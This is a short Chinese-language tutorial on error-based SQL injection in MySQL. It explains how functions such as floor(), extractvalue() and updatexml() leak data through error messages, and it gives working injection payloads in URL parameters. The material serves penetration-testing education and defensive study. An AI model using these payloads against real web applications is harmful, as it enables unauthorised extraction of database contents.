Error-based SQL injection
利用前提:
页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error()
优点:
不需要显示位
缺点:
需要输出mysql_error()的报错信息
构造报错注入语句的基本步骤:
http://localhost/sqleasy/news.php?newsid=111 and extractvalue(1,concat(0x7e,(select database()),0x7e))
常见的报错注入函数:
1.floor()
2.extractvalue()
3.updatexml()
4.geometrycollection()
5.multipoint()
6.polygon()
7.multipolygon()
8.linestring()
9.multilinestring()
10.exp()
Error-based SQL injection--floor()
1.利用floor()函数报错注入 floor报错:https://www.cnblogs.com/sfriend/p/11365999.html
一般报错注入举例:
?name=lucy' and (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))) --+&submit=查询
或者:
?name=lucy' union select 1,count(*) from information_schema.tables group by concat(database(),0x7e,floor(rand(0)*2)) --+&submit=查询
Error-based SQL injection--extractvalue()
extractvalue()函数作用:函数也是MYSQL对XML文档数据进行查询的XPATH函数。
语法: ExtractValue(xml_document, xpath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
Xpath定位必须是有效的,否则则会发生错误;所以可以在这个位置植入表达式,做执行后报错.
注意:
一次返回值最大为32位,当数据库名大于32,需要结合其他方式使用
extractvalue(1,concat(0x7e,substr((select database()),2,2),0x7e))
2.利用extractvalue()函数报错注入
报错查询语句:
extractvalue(1,concat(0x7e,(select database()),0x7e))
举例:
?id= 1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
Error-based SQL injection--Updatexml()
Updatexml()函数作用:是MYSQL对XML文档数据进行查询和修改的XPATH函数
语法:UPDATEXML (xml_document, XPathstring, new_value)
第一个参数:xml_document,文档名称
第二个参数:XPathstring (Xpath格式的字符串),做内容定位。
第三个参数:new_value,String格式,替换查找到的符合条件的值
Xpath定位必须是有效的,否则则会发生错误;所以可以在这个位置植入表达式,做执行后报错
注意:
一次返回值最大为32位,当数据库名大于32,需要结合其他方式使用
3.利用updatexml函数报错注入
报错查询语句:
- updatexml(1,concat(0x7e,(select database()),0x7e),1)
复制代码
举例:
- ?id= 1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
复制代码
了解其他报错函数注入方式:http://www.nvhack.com/forum.php? ... =%E6%8A%A5%E9%94%99
|